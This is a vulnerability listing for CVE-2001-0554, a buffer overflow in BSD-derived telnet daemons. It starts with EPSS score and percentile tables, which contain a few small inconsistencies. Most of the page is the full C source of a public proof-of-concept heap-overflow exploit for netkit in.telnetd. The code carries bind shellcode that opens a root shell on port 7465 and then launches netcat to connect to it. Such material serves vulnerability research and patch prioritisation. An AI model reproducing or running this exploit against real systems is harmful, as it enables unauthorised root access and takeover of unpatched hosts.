CVE-2001-0554 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	0.67%	–
2023-07-23	–	–	–	0.92%	–
2024-02-11	–	–	–	0.92%	–
2024-03-03	–	–	–	0.92%	–
2024-06-02	–	–	–	0.92%	–
2024-11-24	–	–	–	0.92%	–
2024-12-22	–	–	–	6.01%	–
2025-02-16	–	–	–	6.01%	–
2025-01-19	–	–	–	6.01%	–
2025-02-16	–	–	–	6.01%	–
2025-03-18	–	–	–	–	23.12%
2025-03-30	–	–	–	–	27.44%
2025-03-30	–	–	–	–	27.44,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	77%
2023-07-23	81%
2024-02-11	82%
2024-03-03	83%
2024-06-02	83%
2024-11-24	84%
2024-12-22	93%
2025-02-16	94%
2025-01-19	93%
2025-02-16	94%
2025-03-18	96%
2025-03-30	96%
2025-03-30	96%

// source: https://www.securityfocus.com/bid/3064/info A boundary condition error exists in telnet daemons derived from the BSD telnet daemon. Under certain circumstances, the buffer overflow can occur when a combination of telnet protocol options are received by the daemon. The function responsible for processing the options prepares a response within a fixed sized buffer, without performing any bounds checking. This vulnerability is now being actively exploited. A worm is known to be circulating around the Internet. #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <fcntl.h> /********************************************************************* Proof of concept netkit-0.17-7 local root exploit. Exploits buffer overflow in the AYT handling of in.telnetd, due to bad logic in the handling of snprintf(), and TESO advisory details were enough to allow me to put controlable addresses in arbitary heap locations. Heap based exploit. Overflow allows rewriting of some heap data, which allowed me to put a new heap structure in the input buffer, which let me do whatever I want. 'traceroute exploit story - By Dvorak, Synnergy Networks' was very helpful. Also malloc.c was good. *********************************************************************/ /* Notes about exploit 1) RedHat 7.0, exploiting localhost 2) hostname is clarity.local 3) It probably won't work without at least a different setting for the --size option, and probably the --name option as well. The --name arguemnt is the hostname part of the string that gets returned by the AYT command, which may be different to the name of the address you are connecting to.. 4) There are a lot of things that use the heap, making the size depend on alot of factors. 5) You will might need to change some (or all) of the offsets. This program does allow you to brute force, if the hostname returned by the AYT command is not a multiple of 3 letters long. It is also possibly (at least according to some quick testing I did) exploitable on some (all?) servers with names that are multiples of three letters long, using the Abort Output command to add 2 characters to the output length, and exploit the heap in a similar manner to this method. (You can only directly put user controlable characters in 2 out of 3 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO will give you 2 more than a multiple of 3 bytes) with controllable characters, but when you count the null added by the netoprintf(), and use 0 as an option to a do or will, you can sometimes create valid chunks that point to locations you can control. I have only tested this method with a simulation, but it seems it would probably work with the telnetd as well. I will look into it when I have time. Maybe.) . . _ _ _ _ . . _ _ _ . . |_ _|_ _|_ _ . / / |\/| |_| _| | | ||\/| / | | ||_ | | | | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| \/ | *********************************************************************/ #define SERVER_PORT 23 #define ENV 18628 int offset12[] = { // netibuf[343]->the chunk start. -4, 0xaa, -5, 0xbb, -6, 0xcc, -7, 0x10, -9, 0xdd, -10, 0x68, -12, 0xee, -13, 0x88, -14, 0x99, 0, 0x00 }; int offset3[]={ -1,0x00, 0,0 }; int *offsets=offset12; int dalen = 0; int big; int small; int mipl = 0; int ninbufoffset; char spinchars[] = "/|\\-"; char tosend[] = { 0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05, 0xff, 0xfb, 0x23, 0 }; char lamagra_bind_code[] = // the NOPs are my part... to jump over the modified places, // without me having to take a look to see where they are. // Modified to listen on 7465 == TAGS and work thru TELNET protocol. "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3" "\xff\xff\xff\xff\xff\xff/bin/sh"; char *shellcode = lamagra_bind_code; int sock; /* fd for socket connection */ FILE *dasock; /* for doing fprint et al */ struct sockaddr_in server; /* the server end of the socket */ struct hostent *hp; /* Return value from gethostbyname() */ char buf[40960]; /* Received data buffer */ char sock_buf[64 * 1024]; /* Received data buffer */ char daenv[10000]; char oldenv[10000]; extern int errno; read_sock () { /* Prepare our buffer for a read and then read. */ bzero (buf, sizeof (buf)); if (read (sock, buf, sizeof (buf)) < 0) if (errno != 11) { perror ("! Socket read"); exit (1); } } sock_setup () { int flags; int yes = 1; if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("! Error making the socket\n"); exit (1); } bzero ((char *) &server, sizeof (server)); server.sin_family = AF_INET; if ((hp = gethostbyname ("localhost")) == NULL) { fprintf (stderr, "! localhost unknown??\n"); exit (1); } bcopy (hp->h_addr, &server.sin_addr, hp->h_length); server.sin_port = htons ((u_short) SERVER_PORT); /* Try to connect */ if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0) { perror ("! Error connecting\n"); exit (1); } dasock = (FILE *) fdopen (sock, "w+"); if (!dasock) { perror ("! Bad fdopen happened"); exit (1); } /**************************************** Thanks to xphantom for the next 4 lines. (which i don't need anymore ;? ) flags = fcntl(sock, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(sock, F_SETFL, flags); if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) { perror("setsockopt"); exit(1); } *****************************************/ setbuffer (dasock, sock_buf, 64 * 1024); } do_iac (char c) { putc (0xff, dasock); putc (c, dasock); } do_ayt () { do_iac (0xf6); // sets buffer length to 2 } doo (char c) { putc (255, dasock); putc (253, dasock); putc (c, dasock); } will (char c) { putc (255, dasock); putc (251, dasock); putc (c, dasock); } wont (char c) { putc (255, dasock); putc (252, dasock); putc (c, dasock); } void solve (int remain) { int x, y; big = -100; small = -100; for (x = 0; x < 120; x++) for (y = 2; y < 80; y++) { if (((y * 3) + (x * dalen)) == remain) { big = x; small = y; return; } } fprintf (stderr, "I still can't work it out.\n\n"); exit (1); } push_clean () { int l; for (l = 0; l < 8192; l++) putc (0, dasock); } push_heap_attack () { int l; int shaddr = 0x805c970; int overwrite = 0x08051e78; // fopen int tosend[] = { 0x805670eb, 0x8, shaddr, shaddr, 0x0, 0x0, overwrite - 12, shaddr }; fwrite (shellcode, strlen (shellcode), 1, dasock); for (l = strlen (shellcode); l < 289 + ninbufoffset; l++) putc (0, dasock); fwrite (tosend, 8, 4, dasock); fflush (dasock); } fill2 (int count, char with, int real) { int l; int first, rest, find; first = (int) (count / dalen) - 10; rest = (int) (((count) % dalen) / 3) * 3; find = count - ((first * dalen) + (rest * 3)); solve (find); first += big; rest += small; for (l = 0; l < first; l++) do_ayt (); for (l = 0; l < rest; l++) will (with); if (real == 1) { push_clean (); } } fill (int count, char with) { fprintf (stderr, " o Length %d char %d (%02x)\n", count, with & 0xff, with & 0xff); fflush (stderr); fill2 (8257, 'z', 0); // first part fill2 (count - 8257, with, 1); // do it for real } doenv (char *danam, char *daval) { sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c", /* IAC SB N-E IS VAR name VAL value IAC SE */ 255, 250, 39, 0, 0, danam, 1, daval, 255, 240); fwrite (daenv, 512, 1, dasock); fflush (dasock); } main (int argc, char *argv[]) { int br, l, dosleep = 0; int percent = 0; char spin; unsigned char w; bzero (oldenv, sizeof (oldenv)); argv++; dalen = strlen ("clarity.local"); while (argv[0]) { if (!strcmp (argv[0], "--pause")) dosleep = 1; if (!strcmp (argv[0], "--size") && argv[1]) { mipl = atoi (argv[1]); argv++; } if (!strcmp (argv[0], "--name") && argv[1]) { dalen = strlen (argv[1]); argv++; } argv++; } fprintf (stderr, " o MiPl of %4d o NameLen of %2d\n", mipl, dalen); if(dalen%3==0) { offsets=offset3; } else { ninbufoffset = mipl % 8192; offsets[11] += 32 * (mipl - ninbufoffset) / 8192; if (offsets[11] > 255) { fprintf (stderr, " ! MiPl too big.", mipl, dalen); exit (1); } } sock_setup (); if (dosleep) { system ("sleep 1;ps aux|grep in.telnetd|grep -v grep"); sleep (8); } dalen += strlen ("\r\n[ : yes]\r\n"); fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n"); fflush (stderr); doo (5); will (39); fflush (dasock); read_sock (); fprintf (stderr, "o Setting up environment vars...\n"); fflush (stderr); will (1); push_clean (); doenv ("USER", "zen-parse"); doenv ("TERM", "zen-parse"); will (39); fflush (dasock); fprintf (stderr, "o Doing overflows...\n"); fflush (stderr); for (br = 0; (offsets[br] || offsets[br + 1]); br += 2) { fill (mipl + ENV + offsets[br], offsets[br + 1]); fflush (dasock); usleep (100000); read_sock (); } fprintf (stderr, "o Overflows done...\n"); fflush (stderr); push_clean (); fprintf (stderr, "o Sending IACs to start login process...\n"); fflush (stderr); wont (24); wont (32); wont (35); fprintf (dasock, "%s", tosend); will (1); push_heap_attack (); sleep (1); fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n"); execlp ("nc", "nc", "-v", "localhost", "7465", 0); fprintf (stderr, "o If the exploit worked, there should be an open port on 7465.\n"); fprintf (stderr, " It is a root shell. You should probably close it.\n"); fflush (stderr); sleep (60); exit (0); } /******************************************************************** Thanks to xphantom for the help with getting the some of the socket stuff working properly. Erm. I didn't end up using that method, but thanks anyway. ;] This code is Copyright (c) 2001 zen-parse Use and distribution is unlimited, provided the code is not modified. If the code, including any of text is modified, that version may not be redistrubuted. ********************************************************************/ /* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */ /******************************************************************** Remember to visit Chapel of Stilled Voices: _ _ _ . . |_ _|_ _|_ _ . / /. . _ _| _ _ . . / | _ |_ | | | | | | |_|. / / |\/| |_| _|.|_ |_||\/| / |_ |_| _| \/ - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - - | | If there is anything below the next line someone is not following the rules. --zen-parse ************************************END*****************************/